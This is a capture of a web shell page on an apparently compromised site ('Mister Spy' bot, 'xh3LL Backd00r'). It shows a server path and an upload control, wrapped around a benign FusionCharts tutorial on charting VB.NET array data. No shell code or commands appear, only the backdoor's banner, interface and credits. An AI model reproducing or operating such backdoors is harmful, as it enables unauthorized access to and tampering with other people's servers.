Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/encuesta/graphs/contents/
Upload File :
Current File : /home/caballoscriollos/www/espanol/encuesta/graphs/contents/vbnet_array.html

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>FusionCharts Free Documentation</title>
<link rel="stylesheet" href="Style.css" type="text/css" />
</head>

<body>
<table width="98%" border="0" cellspacing="0" cellpadding="3" align="center">
  <tr> 
    <td><h2 class="pageHeader">Using FusionCharts with VB.NET (ASP.NET) &gt; Charting data from  Array </h2></td>
  </tr>
  <tr> 
    <td valign="top" class="text"><p>In this section, we'll show you how to use FusionCharts  with ASP.NET to plot charts from data contained in ASP.NET arrays. We'll cover the following examples here:</p>
      <ul>
        <li>Creating a single series chart from data contained in arrays</li>
        <li>Creating a multi-series chart from data contained in arrays </li>
      </ul>
      <p><strong>Before you go further with this page, we recommend you to please see the previous section &quot;<a href="VBNET_BasicExample.html">Basic Examples</a>&quot; as we start off from concepts explained in that page. </strong></p>
      <p class="highlightBlock">The code examples contained in this page are present in <span class="codeInline">Download Package &gt; Code &gt; VBNET &gt; ArrayExample</span> folder. </p></td>
  </tr>
  <tr>
    <td valign="top" class="text">&nbsp;</td>
  </tr>
  <tr>
    <td valign="top" class="header">Creating a single series chart from data contained in arrays</td>
  </tr>
  <tr>
    <td valign="top" class="text">The code to create a single series chart is contained in <span class="codeInline">SingleSeries.aspx</span> and can be listed as under: <br /></td>
  </tr>
  <tr>
    <td valign="top" class="codeBlock"><p>&lt;%@ Page Language=&quot;VB&quot; AutoEventWireup=&quot;false&quot; CodeFile=&quot;SingleSeries.aspx.vb&quot; Inherits=&quot;ArrayExample_SingleSeries&quot; %&gt;</p>
      <p>&lt;HTML&gt;<br />
        &nbsp;&nbsp;&lt;HEAD&gt;<br />
  &nbsp;&nbsp;&nbsp;&nbsp;&lt;TITLE&gt; <br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FusionCharts Free - Array Example using Single Series Column 3D Chart <br />
  &nbsp;&nbsp;&nbsp;&nbsp;&lt;/TITLE&gt;<br />
  &nbsp;&nbsp;&lt;%<br />
        &nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">'You need to include the following JS file, if you intend to embed the chart using JavaScript.</span><br />
        &nbsp;&nbsp;%&gt; <br />
  &nbsp;&nbsp;<strong>&lt;SCRIPT LANGUAGE=&quot;Javascript&quot; SRC=&quot;../FusionCharts/FusionCharts.js&quot;&gt;&lt;/SCRIPT&gt;</strong><br />
  &nbsp;&nbsp;&lt;/HEAD&gt;<br />
  &nbsp;&nbsp;&lt;BODY&gt;<br />
  &nbsp;&nbsp;&nbsp;&nbsp;<strong>&lt;asp:Literal ID=&quot;FCLiteral&quot; runat=&quot;server&quot;&gt;&lt;/asp:Literal&gt;</strong><br />
  &nbsp;&nbsp;&lt;/BODY&gt;<br />
  &lt;/HTML&gt;</p></td>
  </tr>
  
  <tr>
    <td valign="top" class="text"><p>In the above code, we first include <span class="codeInline">FusionCharts.js</span> file to enable us embed the chart using JavaScript. We have also added an ASP literal server control which acts as a fusion charts container.</p>
      <p>Let's see the code of the code behind file  					<span class="codeInline">SingleSeries.aspx.vb</span>: </p></td>
  </tr>
  <tr>
    <td valign="top" class="text codeBlock"><p>Imports Utilities<br />
      Imports InfoSoftGlobal<br />
      Partial Class ArrayExample_SingleSeries<br />
      &nbsp;&nbsp;Inherits System.Web.UI.Page</p>
      <p>&nbsp;&nbsp;Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load<br />
&nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">' Generate chart in Literal Control</span><br />
&nbsp;&nbsp;&nbsp;&nbsp;<strong>FCLiteral.Text = CreateCharts()</strong><br />
&nbsp;&nbsp;End Sub</p>
      <p><br />
  &nbsp;&nbsp;Public Function <strong>CreateChart()</strong> As String</p>
      <p> &nbsp;<span class="codeComment">&nbsp;'In this example, we plot a single series chart from data contained<br />
&nbsp;&nbsp;'in an array. The array will have two columns - first one for data label<br />
&nbsp;&nbsp;'and the next one for data values.</span></p>
      <p> <span class="codeComment">&nbsp;&nbsp;'Let's store the sales data for 6 products in our array). We also store<br />
&nbsp;&nbsp;'the name of products. </span><br />
        &nbsp;&nbsp;Dim arrData(6, 2) As String<br />
        &nbsp;&nbsp;<span class="codeComment">'Creating util Object</span><br />
        &nbsp;&nbsp;Dim util As New Util()<br />
        &nbsp;&nbsp;<span class="codeComment">'Store Name of Products</span><br />
        &nbsp;&nbsp;arrData(0, 1) = &quot;Product A&quot;<br />
        &nbsp;&nbsp;arrData(1, 1) = &quot;Product B&quot;<br />
        &nbsp;&nbsp;arrData(2, 1) = &quot;Product C&quot;<br />
        &nbsp;&nbsp;arrData(3, 1) = &quot;Product D&quot;<br />
        &nbsp;&nbsp;arrData(4, 1) = &quot;Product E&quot;<br />
        &nbsp;&nbsp;arrData(5, 1) = &quot;Product F&quot;<br />
        &nbsp;&nbsp;<span class="codeComment">'Store sales data</span><br />
        &nbsp;&nbsp;arrData(0, 2) = &quot;567500&quot;<br />
        &nbsp;&nbsp;arrData(1, 2) = &quot;815300&quot;<br />
        &nbsp;&nbsp;arrData(2, 2) = &quot;556800&quot;<br />
        &nbsp;&nbsp;arrData(3, 2) = &quot;734500&quot;<br />
        &nbsp;&nbsp;arrData(4, 2) = &quot;676800&quot;<br />
        &nbsp;&nbsp;arrData(5, 2) = &quot;648500&quot;</p>
      <p> &nbsp;<span class="codeComment">&nbsp;'Now, we need to convert this data into XML. We convert using string concatenation.</span><br />
        &nbsp;&nbsp;Dim strXML As String, i As Integer<br />
        &nbsp;&nbsp;<span class="codeComment">'Initialize &lt;graph&gt; element</span><br />
        &nbsp;&nbsp;strXML = &quot;&lt;graph caption='Sales by Product' numberPrefix='$' formatNumberScale='0' decimalPrecision='0'&gt;&quot;</p>
      <p> &nbsp;&nbsp;<span class="codeComment">'Convert data to XML and append</span><br />
        &nbsp;&nbsp;For i = 0 To UBound(arrData) - 1<br />
        &nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">'add values using &lt;set name='...' value='...' color='...'/&gt;</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;strXML = strXML &amp; &quot;&lt;set name='&quot; &amp; arrData(i, 1) &amp; &quot;' value='&quot; &amp; arrData(i, 2) &amp; &quot;' color='&quot; &amp; util.getFCColor() &amp; &quot;' /&gt;&quot;<br />
        &nbsp;&nbsp;Next<br />
        &nbsp;&nbsp;<span class="codeComment">'Close &lt;graph&gt; element</span><br />
        &nbsp;&nbsp;strXML = strXML &amp; &quot;&lt;/graph&gt;&quot;</p>
      <p> &nbsp;&nbsp;<span class="codeComment">'Create the chart - Column 3D Chart with data contained in strXML</span><br />
        &nbsp;&nbsp;<strong>Return FusionCharts.RenderChart(&quot;../FusionCharts/FCF_Column3D.swf&quot;, &quot;&quot;, strXML, &quot;productSales&quot;, &quot;600&quot;, &quot;300&quot;, False, False)</strong><br />
        &nbsp;&nbsp;<br />
        &nbsp;&nbsp;End Function<br />
        End Class<br />
    </p>      </td>
  </tr>
  
  <tr>
    <td valign="top" class="text"><ul>
      <li>In the above example, we first include <span class="codeInline">Utilites</span> and <span class="codeInline">InfoSoftGlobal</span> namespace.</li>
      <li>Then we define the <span class="codeInline">CreateChart()</span> function. </li>
      <li>Inside the function, we declare an array <span class="codeInline">arrData</span> to store sales data for 6 different products. The array has two columns - first one for data label and the next one for data values.</li>
      <li>We define a variable <span class="codeInline">strXML</span> to store the entire XML data. To build the XML, we iterate through the array and using string concatenation. </li>
      <li>Finally, we render the chart using <span class="codeInline">RenderChart()</span> function and pass <span class="codeInline">strXML</span> as <span class="codeInline">dataXML</span>. </li>
    </ul>
      <p class="highlightBlock">We included <span class="codeInline">Utilities</span> namespace, which contains the default color set for the FusionCharts. These  colors in Hex code are optimized to give a snazzy look to the charts. The <span class="codeInline">getFCColor()</span> function in cyclic iteration returns these color values.</p>
    <p>When you view the chart, you'll see a chart as under: </p></td>
  </tr>
  <tr>
    <td valign="top" class="text"><img src="Images/Code_ArraySS.jpg" /></td>
  </tr>
  <tr>
    <td valign="top" class="text">&nbsp;</td>
  </tr>
  <tr>
    <td valign="top" class="header">Creating a multi-series chart from data contained in arrays </td>
  </tr>
  <tr>
    <td valign="top" class="text">Let us now create a multi-series chart from data contained in arrays. We create a file <span class="codeInline">MultiSeries.aspx</span> with the following code: </td>
  </tr>
  <tr>
    <td valign="top" class="codeBlock"><p>&lt;%@ Page Language=&quot;VB&quot; AutoEventWireup=&quot;false&quot; CodeFile=&quot;MultiSeries.aspx.vb&quot; <br />
      Inherits=&quot;ArrayExample_MultiSeries&quot; %&gt;</p>
      <p>&lt;HTML&gt;<br />
        &nbsp;&nbsp;&lt;HEAD&gt;<br />
  &nbsp;&nbsp;&nbsp;&nbsp;&lt;TITLE&gt;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FusionCharts Free - Array Example using Multi Series Column 3D Chart<br />
  &nbsp;&nbsp;&nbsp;&nbsp;&lt;/TITLE&gt;<br />
  &nbsp;&nbsp;&nbsp;&nbsp;&lt;%<br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">'You need to include the following JS file, if you intend to embed the chart using JavaScript.</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;%&gt; <br />
  &nbsp;&nbsp;&nbsp;<strong>&nbsp;&lt;SCRIPT LANGUAGE=&quot;Javascript&quot; SRC=&quot;../FusionCharts/FusionCharts.js&quot;&gt;&lt;/SCRIPT&gt;</strong><br />
  &nbsp;&nbsp;&lt;/HEAD&gt;<br />
  <br />
  &nbsp;&nbsp;&lt;BODY&gt;<br />
  &nbsp;&nbsp;&nbsp;&nbsp;<strong>&lt;asp:Literal ID=&quot;FCLiteral&quot; runat=&quot;server&quot;&gt;&lt;/asp:Literal&gt;</strong><br />
  &nbsp;&nbsp;&lt;/BODY&gt;<br />
  &lt;/HTML&gt;</p></td>
  </tr>
  
  <tr>
    <td valign="top" class="text"><p>In the above code, we first include <span class="codeInline">FusionCharts.js</span> file to enable us embed the chart using JavaScript. We then call method <span class="codeInline"><strong>CreateChart()</strong></span> from the code behind to generate code for chart.</p>
    <p>Take a look at the  code behind file  					<span class="codeInline">MultiSeries.aspx.vb</span>: </p></td>
  </tr>
  
  <tr>
    <td valign="top" class="text codeBlock"><p>Imports InfoSoftGlobal<br />
      Partial Class ArrayExample_MultiSeries<br />
      &nbsp;&nbsp;Inherits System.Web.UI.Page</p>
      <p> &nbsp;&nbsp;&nbsp;Protected Sub <b>Page_Load</b>(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load<br />
        <span class="codeComment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' Generate chart in Literal Control</span><br />
<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FCLiteral.Text = CreateChart()</b><br />
&nbsp;&nbsp;&nbsp;End Sub</p>
      <p>&nbsp;</p>
      <p> &nbsp;&nbsp;Public Function <strong>CreateChart()</strong> As String</p>
      <p> &nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">'In this example, we plot a multi series chart from data contained<br />
&nbsp;&nbsp;&nbsp;&nbsp;'in an array. The array will have three columns - first one for data label (product)<br />
&nbsp;&nbsp;&nbsp;&nbsp;'and the next two for data values. The first data value column would store sales information<br />
&nbsp;&nbsp;&nbsp;&nbsp;'for current year and the second one for previous year.</span></p>
      <p> <span class="codeComment">&nbsp;&nbsp;&nbsp;&nbsp;'Let's store the sales data for 6 products in our array. We also store<br />
&nbsp;&nbsp;&nbsp;&nbsp;'the name of products. </span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;Dim arrData(6, 3) As String<br />
        &nbsp;&nbsp;&nbsp;<span class="codeComment">&nbsp;'Store Name of Products</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(0, 1) = &quot;Product A&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(1, 1) = &quot;Product B&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(2, 1) = &quot;Product C&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(3, 1) = &quot;Product D&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(4, 1) = &quot;Product E&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(5, 1) = &quot;Product F&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">'Store sales data for current year</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(0, 2) = &quot;567500&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(1, 2) = &quot;815300&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(2, 2) = &quot;556800&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(3, 2) = &quot;734500&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(4, 2) = &quot;676800&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(5, 2) = &quot;648500&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">'Store sales data for previous year</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(0, 3) = &quot;547300&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(1, 3) = &quot;584500&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(2, 3) = &quot;754000&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(3, 3) = &quot;456300&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(4, 3) = &quot;754500&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;arrData(5, 3) = &quot;437600&quot;</p>
      <p> &nbsp;&nbsp;&nbsp;<span class="codeComment">&nbsp;'Now, we need to convert this data into multi-series XML. <br />
&nbsp;&nbsp;&nbsp;&nbsp;'We convert using string concatenation.<br />
&nbsp;&nbsp;&nbsp;&nbsp;'strXML - Stores the entire XML<br />
&nbsp;&nbsp;&nbsp;&nbsp;'strCategories - Stores XML for the &lt;categories&gt; and child &lt;category&gt; elements<br />
&nbsp;&nbsp;&nbsp;&nbsp;'strDataCurr - Stores XML for current year's sales<br />
&nbsp;&nbsp;&nbsp;&nbsp;'strDataPrev - Stores XML for previous year's sales</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;Dim strXML As String, strCategories As String, strDataCurr As String, strDataPrev As String, i As Integer</p>
      <p> &nbsp;&nbsp;&nbsp;<span class="codeComment">&nbsp;'Initialize &lt;graph&gt; element</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;strXML = &quot;&lt;graph caption='Sales by Product' numberPrefix='$' decimalPrecision='0' &gt;&quot;</p>
      <p> &nbsp;&nbsp;&nbsp;<span class="codeComment">&nbsp;'Initialize &lt;categories&gt; element - necessary to generate a multi-series chart</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;strCategories = &quot;&lt;categories&gt;&quot;</p>
      <p> &nbsp;&nbsp;<span class="codeComment">&nbsp;&nbsp;'Initiate &lt;dataset&gt; elements</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;strDataCurr = &quot;&lt;dataset seriesName='Current Year' color='AFD8F8'&gt;&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;strDataPrev = &quot;&lt;dataset seriesName='Previous Year' color='F6BD0F'&gt;&quot;</p>
      <p> &nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">'Iterate through the data </span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;For i = 0 To UBound(arrData) - 1<br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">&nbsp;'Append &lt;category name='...' /&gt; to strCategories</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strCategories = strCategories &amp; &quot;&lt;category name='&quot; &amp; arrData(i, 1) &amp; &quot;' /&gt;&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="codeComment">'Add &lt;set value='...' /&gt; to both the datasets</span><br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strDataCurr = strDataCurr &amp; &quot;&lt;set value='&quot; &amp; arrData(i, 2) &amp; &quot;' /&gt;&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strDataPrev = strDataPrev &amp; &quot;&lt;set value='&quot; &amp; arrData(i, 3) &amp; &quot;' /&gt;&quot;<br />
        &nbsp;&nbsp;&nbsp;&nbsp;Next</p>
      <p> &nbsp;&nbsp;<span class="codeComment">'Close &lt;categories&gt; element</span><br />
        &nbsp;&nbsp;strCategories = strCategories &amp; &quot;&lt;/categories&gt;&quot;</p>
      <p> &nbsp;<span class="codeComment">&nbsp;'Close &lt;dataset&gt; elements</span><br />
        &nbsp;&nbsp;strDataCurr = strDataCurr &amp; &quot;&lt;/dataset&gt;&quot;<br />
        &nbsp;&nbsp;strDataPrev = strDataPrev &amp; &quot;&lt;/dataset&gt;&quot;</p>
      <p> &nbsp;&nbsp;<span class="codeComment">'Assemble the entire XML now</span><br />
        &nbsp;&nbsp;strXML = strXML &amp; strCategories &amp; strDataCurr &amp; strDataPrev &amp; &quot;&lt;/graph&gt;&quot;</p>
      <p> &nbsp;&nbsp;<span class="codeComment">'Create the chart - MS Column 3D Chart with data contained in strXML</span><br />
        &nbsp;<strong>&nbsp;Return FusionCharts.RenderChart(&quot;../FusionCharts/FCF_MSColumn3D.swf&quot;, &quot;&quot;, strXML, &quot;productSales&quot;, &quot;600&quot;, &quot;300&quot;, False, False)</strong></p>
      <p> &nbsp;&nbsp;End Function<br />
        End Class<br />
    </p></td>
  </tr>
  <tr>
    <td valign="top" class="text"><ul>
      <li>In the above code we import InfoSoftGlobal namespace first.</li>
      <li>Then we define the <span class="codeInline">CreateChart ()</span> function.  </li>
      <li>We declare an array <span class="codeInline">arrData</span> to store sales data for 6 different products. The array has three columns - first one for data label (product) and the next two for data values. The first data value column would store sales information for current year and the second one for previous year.</li>
      <li>We define a variable <span class="codeInline">strXML</span> to store the entire XML data.</li>
      <li>We also define <span class="codeInline">strCategories</span>, <span class="codeInline">strDataCurr</span> and <span class="codeInline">strDataPrev</span> variables to store XML data for categories elements, current year's dataset and previous year's dataset respectively. To build the XML, we iterate through the array and using string concatenation.</li>
      <li>We concatenate the entire XML in <span class="codeInline">strXML</span>. </li>
      <li>Finally, we return the chart HTML using RenderChartHTML() method present in InfoSoftGlobal.FusionCharts class.  <span class="codeInline">RenderChart()is called form the Page_Load</span><span class="codeInline"> event listener</span>. </li>
    </ul></td>
  </tr>
  
  <tr>
    <td valign="top" class="text"><p>When you view the chart, you'll see a chart as under: </p>
    </td>
  </tr>
  <tr>
    <td valign="top" class="text"><img src="Images/Code_ArrayMS.jpg" alt="" /></td>
  </tr>
  <tr>
    <td valign="top" class="highlightBlock">In <span class="codeInline">Download Package &gt; Code &gt; VBNET &gt; ArrayExample</span>, we've more example codes to create Stacked and Combination Charts too, which we have not explained here, as they're similar in concept. You can directly see the code if you want to. </td>
  </tr>
</table>
</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat